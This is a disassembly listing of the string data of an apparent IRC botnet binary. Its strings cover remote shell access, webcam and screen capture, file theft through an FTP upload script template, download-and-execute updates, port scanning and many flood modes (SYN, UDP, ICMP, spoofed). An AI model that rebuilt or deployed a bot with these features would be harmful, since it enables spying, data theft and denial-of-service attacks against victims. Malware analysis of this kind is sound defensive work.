		db 3, 2Dh, 20h
aFailedHostAuth	db '*Failed host auth by: (%s!%s).',0
		align 4
aNoticeSHostAut	db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7E63o
		align 4
unk_429BC4	db  2Dh	; -		; DATA XREF: sub_401ACD+7E25o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedPassAuth	db '*Failed pass auth by: (%s!%s).',0
		align 10h
aNoticeSYourAtt	db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7E13o
					; sub_401ACD+7E7Ao
		align 4
aNoticeSPassAut	db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7DFCo
		align 4
asc_429C44:				; DATA XREF: sub_401ACD+7DCCo
		unicode	0, <~>,0
unk_429C48	db  2Dh	; -		; DATA XREF: sub_401ACD+7D7Co
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRandomNickChan	db 'Random nick change: %s',0
		align 4
unk_429C6C	db  2Dh	; -		; DATA XREF: sub_401ACD+7D0Co
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReconnectingIn	db 'Reconnecting in %s seconds',0
		align 4
unk_429C94	db  2Dh	; -		; DATA XREF: sub_401ACD+7CC4o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReconnecting_0	db 'Reconnecting in %s ms',0
		align 4
unk_429CB8	db  2Dh	; -		; DATA XREF: sub_401ACD+7CA2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aNickChangedToS	db 'Nick changed to: ',27h,'%s',27h,'.',0
		align 4
unk_429CDC	db  2Dh	; -		; DATA XREF: sub_401ACD+7C82o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aJoinedChannelS	db 'Joined channel: ',27h,'%s',27h,'.',0
		align 10h
unk_429D00	db  2Dh	; -		; DATA XREF: sub_401ACD+7C5Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPartedChannelS	db 'Parted channel: ',27h,'%s',27h,'.',0
		align 4
dword_429D24	dd 234032Dh, 6E69616Dh,	202D0302h, 20435249h, 3A776152h
					; DATA XREF: sub_401ACD+7C3Bo
		dd 2E732520h, 0
unk_429D40	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409685o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToKillTh	db '- Failed to kill thread: %s.',0
		align 4
unk_429D6C	db  2Dh	; -		; DATA XREF: sub_401ACD+7BB1o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aKilledThreadS_	db '- Killed thread: %s.',0
		align 10h
unk_429D90	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4095FDo
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aNoActiveThread	db '- No active threads found.',0
unk_429DB8	db  2Dh	; -		; DATA XREF: sub_401ACD+7B26o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aStoppedDThread	db '- Stopped: %d thread(s).',0
		align 10h
aAll		db 'all',0              ; DATA XREF: sub_401ACD+7B0Co
unk_429DE4	db  2Dh	; -		; DATA XREF: sub_401ACD+79FFo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPrefixChangedT	db 'Prefix changed to: ',27h,'%c',27h,'.',0
		align 4
unk_429E0C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4094B3o
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aCouldnTOpenFil	db ' Couldn',27h,'t open file: %s',0
unk_429E30	db  2Dh	; -		; DATA XREF: sub_401ACD+79DCo
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFileOpenedS	db ' File opened: %s',0
		align 10h
unk_429E50	db  2Dh	; -		; DATA XREF: sub_401ACD+79B8o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aServerChangedT	db 'Server changed to: ',27h,'%s',27h,'.',0
		align 4
unk_429E78	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409468o
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aCouldnTResol_0	db '- Couldn',27h,'t resolve hostname.',0
		align 10h
unk_429EA0	db  2Dh	; -		; DATA XREF: sub_401ACD+796Do
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aLookupSS_	db '- Lookup: %s -> %s.',0
		align 10h
unk_429EC0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4093FDo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTermin	db ' Failed to terminate process: %s',0
		align 10h
unk_429EF0	db  2Dh	; -		; DATA XREF: sub_401ACD+7926o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledS	db ' Process killed: %s',0
unk_429F10	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409399o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTerm_0	db ' Failed to terminate process ID: %s',0
unk_429F40	db  2Dh	; -		; DATA XREF: sub_401ACD+78C5o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledI	db ' Process killed ID: %s',0
		align 4
dword_429F64	dd 234032Dh, 656C6966h,	202D0302h, 656C6544h, 20646574h
					; DATA XREF: sub_401ACD+7885o
		dd 27732527h, 2Eh
unk_429F80	db  2Dh	; -		; DATA XREF: sub_401ACD+7803o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aSendFileSUserS	db '- Send File: %s, User: %s.',0
dword_429FA4	dd 234032Dh, 656C6966h,	202D0302h, 7473694Ch, 7325203Ah
					; DATA XREF: sub_401ACD+7786o
		dd 0
unk_429FBC	db  2Dh	; -		; DATA XREF: sub_401ACD+7755o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToStartC	db ' Failed to start connection thread, error: <%d>.',0
		align 4
dword_429FFC	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 7325203Ah
					; DATA XREF: sub_401ACD+76E6o
		dd 2Eh
dword_42A014	dd 234032Dh, 6372696Dh,	202D0302h, 6D6D6F43h, 20646E61h
					; DATA XREF: sub_401ACD:loc_409140o
		dd 746E6573h, 2Eh
unk_42A030	db  2Dh	; -		; DATA XREF: sub_401ACD+766Co
		db 3, 34h, 2
		db  6Dh	; m
		db 69h,	72h, 63h
		db    2
		db 3, 2Dh, 20h
aClientNotOpen_	db 'Client not open.',0
		align 10h
dword_42A050	dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh
					; DATA XREF: sub_401ACD+7630o
		dd 732520h
unk_42A068	db  2Dh	; -		; DATA XREF: sub_401ACD+7611o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aErrorSendingTo	db '- Error sending to remote shell.',0
		align 4
asc_42A094:				; DATA XREF: sub_401ACD+75F9o
					; sub_40F6B4+FBo ...
		dw 0Ah
		unicode	0, <>,0
unk_42A098	db  2Dh	; -		; DATA XREF: sub_401ACD+75CFo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReadFileFailed	db 'Read file failed: %s',0
		align 4
unk_42A0BC	db  2Dh	; -		; DATA XREF: sub_401ACD+75C2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReadFileComple	db 'Read file complete: %s',0
		align 10h
unk_42A0E0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40901Fo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aInvalidParam_0	db '- Invalid parameters for amateur video capture.',0
		align 10h
unk_42A120	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409015o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCapt	db '- Error while capturing amateur video from webcam.',0
unk_42A160	db  2Dh	; -		; DATA XREF: sub_401ACD+753Eo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aAmateurVideoSa	db '- Amateur video saved to: %s.',0
		align 4
aVideo		db 'video',0            ; DATA XREF: sub_401ACD:loc_408F87o
		align 4
unk_42A194	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408F74o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aInvalidParam_1	db '- Invalid parameters for webcam capture.',0
		align 4
unk_42A1CC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408F6Do
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCa_0	db '- Error while capturing from webcam.',0
		align 10h
unk_42A200	db  2Dh	; -		; DATA XREF: sub_401ACD+7490o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aWebcamCaptureS	db '- Webcam capture saved to: %s.',0
aFrame		db 'frame',0            ; DATA XREF: sub_401ACD:loc_408EE6o
		align 4
unk_42A234	db  2Dh	; -		; DATA XREF: sub_401ACD+740Co
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aDriverListComp	db '- Driver list complete.',0
		align 4
unk_42A25C	db  2Dh	; -		; DATA XREF: sub_401ACD+73D9o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aDriverDSS_	db '- Driver #%d - %s - %s.',0
		align 4
aDrivers	db 'drivers',0          ; DATA XREF: sub_401ACD:loc_408E59o
unk_42A28C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408E46o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aNoFilenameSpec	db '- No filename specified for screen capture.',0
		align 4
unk_42A2C8	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408E3Fo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCa_1	db '- Error while capturing screen.',0
		align 4
unk_42A2F8	db  2Dh	; -		; DATA XREF: sub_401ACD+7362o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aScreenCaptureS	db '- Screen capture saved to: %s.',0
aScreen		db 'screen',0           ; DATA XREF: sub_401ACD:loc_408DFEo
		align 4
dword_42A32C	dd 234032Dh, 6E69616Dh,	202D0302h, 68746547h, 3A74736Fh
					; DATA XREF: sub_401ACD+7319o
		dd 2E732520h, 0
unk_42A348	db  2Dh	; -		; DATA XREF: sub_401ACD+72D3o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUnableToExtrac	db 'Unable to extract Gethost command.',0
		align 4
unk_42A378	db  2Dh	; -		; DATA XREF: sub_401ACD+72B7o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aGethostSComman	db 'Gethost: %s, Command: %s',0
		align 10h
unk_42A3A0	db  2Dh	; -		; DATA XREF: sub_401ACD+720Ao
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aAliasAddedS_	db 'Alias added: %s.',0
		align 10h
unk_42A3C0	db  2Dh	; -		; DATA XREF: sub_401ACD+71D6o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPrivmsgSS_	db 'Privmsg: %s: %s.',0
		align 10h
unk_42A3E0	db  2Dh	; -		; DATA XREF: sub_401ACD+7181o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aActionSS_	db 'Action: %s: %s.',0
dword_42A3FC	dd 234032Dh, 6E69616Dh,	202D0302h, 6C637943h, 2E65h
					; DATA XREF: sub_401ACD+710Fo
dword_42A410	dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_401ACD+70D5o
					; sub_401ACD+7C48o
unk_42A41C	db  2Dh	; -		; DATA XREF: sub_401ACD+70B0o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aModeChangeS	db 'Mode change: %s',0
aModeS		db 'MODE %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+709Fo
		align 4
dword_42A444	dd 234032Dh, 6E6F6C63h,	2D030265h, 77615220h, 73252820h
					; DATA XREF: sub_401ACD+7074o
		dd 25203A29h, 73h
dword_42A460	dd 234032Dh, 6E6F6C63h,	2D030265h, 646F4D20h, 25282065h
					; DATA XREF: sub_401ACD+7005o
		dd 203A2973h, 7325h
dword_42A47C	dd 45444F4Dh, 732520h	; DATA XREF: sub_401ACD+6FAAo
dword_42A484	dd 234032Dh, 6E6F6C63h,	2D030265h, 63694E20h, 2528206Bh
					; DATA XREF: sub_401ACD+6F7Ao
		dd 203A2973h, 7325h
dword_42A4A0	dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_401ACD+6F01o
dword_42A4AC	dd 0A0D7325h, 0		; DATA XREF: sub_401ACD+6ECFo
					; sub_401ACD+6F58o ...
dword_42A4B4	dd 54524150h, 732520h	; DATA XREF: sub_401ACD+6E96o
dword_42A4BC	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_401ACD+6E85o
aFailedToStartF	db '- Failed to start flood thread, error: <%d>.',0
		align 4
dword_42A4F8	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_401ACD+6E16o
aFloodingSForSS	db '- Flooding %s for %s seconds.',0
		align 4
unk_42A524	db  2Dh	; -		; DATA XREF: sub_401ACD+6D86o
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aFailedToStar_0	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42A560	db  2Dh	; -		; DATA XREF: sub_401ACD+6D1Bo
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aTsunamiHeading	db '- Tsunami heading for %s (%s seconds).',0
unk_42A594	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408746o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRepeatNotAllow	db 'Repeat not allowed in command line: %s',0
		align 4
dword_42A5C8	dd 234032Dh, 6E69616Dh,	202D0302h, 65706552h, 203A7461h
					; DATA XREF: sub_401ACD+6C3Eo
		dd 7325h
dword_42A5E0	dd 234032Dh, 6E69616Dh,	202D0302h, 616C6544h, 2E79h
					; DATA XREF: sub_401ACD:loc_408674o
dword_42A5F4	dd 25207325h, 73252073h, 73253A20h, 0 ;	DATA XREF: sub_401ACD+6B63o
					; sub_401ACD+6C15o ...
dword_42A604	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD:loc_4085D1o
aBotIdMustBeDif	db '- Bot ID must be different than current running process.',0
		align 4
dword_42A64C	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD+6AFAo
aFailedToStartD	db '- Failed to start download thread, error: <%d>.',0
dword_42A688	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD+6A8Bo
aDownloadingUpd	db '- Downloading update from: %s.',0
		align 4
aSS_exe		db '%s%s.exe',0         ; DATA XREF: sub_401ACD+69E3o
		align 10h
dword_42A6C0	dd 234032Dh, 63657865h,	202D0302h, 6D6D6F43h, 73646E61h
					; DATA XREF: sub_401ACD+6981o
		dd 7325203Ah, 0
unk_42A6DC	db  2Dh	; -		; DATA XREF: sub_401ACD+6976o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	65h, 63h
		db    2
		db 3, 2Dh, 20h
aCouldnTExecute	db 'Couldn',27h,'t execute file.',0
		align 10h
unk_42A700	db  2Dh	; -		; DATA XREF: sub_401ACD+68DCo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_1	db 'Failed to start search thread, error: <%d>.',0
unk_42A73C	db  2Dh	; -		; DATA XREF: sub_401ACD+6866o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingForFi	db 'Searching for file: %s in: %s.',0
		align 4
dword_42A76C	dd 234032Dh, 656C6966h,	2D0302h	; DATA XREF: sub_401ACD:loc_40826Co
					; sub_401ACD:loc_409367o
unk_42A778	db  2Dh	; -		; DATA XREF: sub_401ACD+678Ao
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aRenameSToS_	db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
		align 4
unk_42A79C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408235o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aInvalidFloodTi	db 'Invalid flood time must be greater than 0.',0
		align 4
unk_42A7D4	db  2Dh	; -		; DATA XREF: sub_401ACD+675Eo
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_2	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A80C	db  2Dh	; -		; DATA XREF: sub_401ACD+66EEo
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_0	db 'Flooding: (%s) for %s seconds.',0
		align 4
dword_42A838	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: sub_401ACD+666Bo
aFailedToStar_3	db '- Failed to start clone thread, error: <%d>.',0
		align 4
dword_42A874	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: sub_401ACD+65FCo
aCreatedOnSDInC	db '- Created on %s:%d, in channel %s.',0
		align 4
unk_42A8A4	db  2Dh	; -		; DATA XREF: sub_401ACD+6583o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_4	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A8DC	db  2Dh	; -		; DATA XREF: sub_401ACD+6514o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFloodingSSForS	db 'Flooding: (%s:%s) for %s seconds.',0
		align 4
unk_42A90C	db  2Dh	; -		; DATA XREF: sub_401ACD+648Ao
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFailedToStar_5	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A944	db  2Dh	; -		; DATA XREF: sub_401ACD+641Bo
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFloodingSSFo_0	db '- Flooding: (%s:%s) for %s seconds.',0
		align 4
unk_42A974	db  2Dh	; -		; DATA XREF: sub_401ACD+63A2o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_6	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A9AC	db  2Dh	; -		; DATA XREF: sub_401ACD+6333o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_1	db 'Flooding %s for %s seconds using delay %s ms.',0
		align 4
unk_42A9E8	db  2Dh	; -		; DATA XREF: sub_401ACD+62BAo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToStartT	db 'Failed to start transfer thread, error: <%d>.',0
		align 4
unk_42AA28	db  2Dh	; -		; DATA XREF: sub_401ACD+624Bo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadingUrl	db 'Downloading URL: %s to: %s.',0
unk_42AA54	db  2Dh	; -		; DATA XREF: sub_401ACD+617Co
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToStartR	db 'Failed to start redirection thread, error: <%d>.',0
		align 4
unk_42AA98	db  2Dh	; -		; DATA XREF: sub_401ACD+610Do
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aTcpRedirectCre	db 'TCP redirect created from: %s:%d to: %s:%d.',0
unk_42AAD4	db  2Dh	; -		; DATA XREF: sub_401ACD+6010o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStarte	db 'Port scan started: %s:%d with delay: %d(ms).',0
		align 10h
aSSS_1		db '[%s] <%s> %s',0     ; DATA XREF: sub_401ACD+5F64o
		align 10h
aSSS_2		db '[%s] * %s %s',0     ; DATA XREF: sub_401ACD+5E87o
		align 10h
dword_42AB30	dd 54434101h, 204E4F49h, 17325h	; DATA XREF: sub_401ACD+5DF3o
					; sub_401ACD+715Bo
unk_42AB3C	db  2Dh	; -		; DATA XREF: sub_401ACD+5D8Fo
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_7	db 'Failed to start scan thread, error: <%d>.',0
		align 4
unk_42AB78	db  2Dh	; -		; DATA XREF: sub_401ACD+5D20o
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStar_0	db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0
		align 4
unk_42ABC8	db  2Dh	; -		; DATA XREF: sub_401ACD+5C89o
					; sub_401ACD+607Fo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_8	db 'Failed to start scan thread, error: <%d>.',0
		align 10h
unk_42AC00	db  2Dh	; -		; DATA XREF: sub_401ACD+5C1Ao
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSPortScanStart	db '%s Port Scan started on %s:%d with a delay of %d seconds for %d m'
		db 'inutes using %d threads.',0
		align 4
unk_42AC68	db  2Dh	; -		; DATA XREF: sub_401ACD+5AA4o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_9	db 'Failed to start scan, no IP specified.',0
		align 4
unk_42AC9C	db  2Dh	; -		; DATA XREF: sub_401ACD+5A47o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToSta_10	db 'Failed to start scan, port is invalid.',0
		align 10h
unk_42ACD0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4073F4o
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFileS	db '- Uploading file: %s to: %s failed.',0
		align 10h
unk_42AD00	db  2Dh	; -		; DATA XREF: sub_401ACD+5920o
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFil_0	db '- Uploading file: %s to: %s',0
		align 4
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: sub_401ACD+5907o
aSS_2		db '-s:%s',0            ; DATA XREF: sub_401ACD+58F0o
		align 4
aOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: sub_401ACD+58CDo
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 4
aAb		db 'ab',0               ; DATA XREF: sub_401ACD+58A9o
					; ___:00411C62o
		align 10h
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: sub_401ACD+5898o
		align 10h
unk_42AD70	db  2Dh	; -		; DATA XREF: sub_401ACD+584Eo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aFileNotFoundS_	db '- File not found: %s.',0
		align 10h
aUpload		db 'upload',0           ; DATA XREF: sub_401ACD+582Bo
		align 4
unk_42AD98	db  2Dh	; -		; DATA XREF: sub_401ACD+57F5o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aAlreadyDScanni	db 'Already %d scanning threads. Too many specified.',0
		align 4
unk_42ADD8	db  2Dh	; -		; DATA XREF: sub_401ACD+5798o
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aFailedToSta_11	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42AE10	db  2Dh	; -		; DATA XREF: sub_401ACD+572Do
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aSendingDPacket	db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
		align 4
unk_42AE58	db  2Dh	; -		; DATA XREF: sub_401ACD+567Co
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aMessageHasBeen	db '- Message has been sent successfuly',0
		align 4
unk_42AE8C	db  2Dh	; -		; DATA XREF: sub_401ACD+5648o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aFailedToSendMe	db '- Failed to send message, error <%i>.',0
		align 10h
unk_42AEC0	db  2Dh	; -		; DATA XREF: sub_401ACD+5624o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aNetsendDoesNot	db '- NetSend does not work on Win9x systems',0
		align 4
unk_42AEF8	db  2Dh	; -		; DATA XREF: sub_401ACD+5582o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aSendingMessage	db '- Sending message %s times to %s using name %s',0
aIcmp_dllNotAva	db 'ICMP.dll not available',0 ; DATA XREF: sub_401ACD+5565o
		align 4
unk_42AF4C	db  2Dh	; -		; DATA XREF: sub_401ACD+5550o
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_12	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42AF84	db  2Dh	; -		; DATA XREF: sub_401ACD+54E1o
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aSendingDPingsT	db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
		align 4
unk_42AFCC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406F00o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFlood_0	db '- Invalid flood time must be greater than 0.',0
		align 4
unk_42B004	db  2Dh	; -		; DATA XREF: sub_401ACD+5429o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aFailedToSta_13	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42B03C	db  2Dh	; -		; DATA XREF: sub_401ACD+53AFo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aSSFloodingSSFo	db '- %s %s flooding: (%s:%s) for %s seconds.',0
		align 10h
aNormal		db 'Normal',0           ; DATA XREF: sub_401ACD+539Fo
		align 4
aSpoofed	db 'Spoofed',0          ; DATA XREF: sub_401ACD+5398o
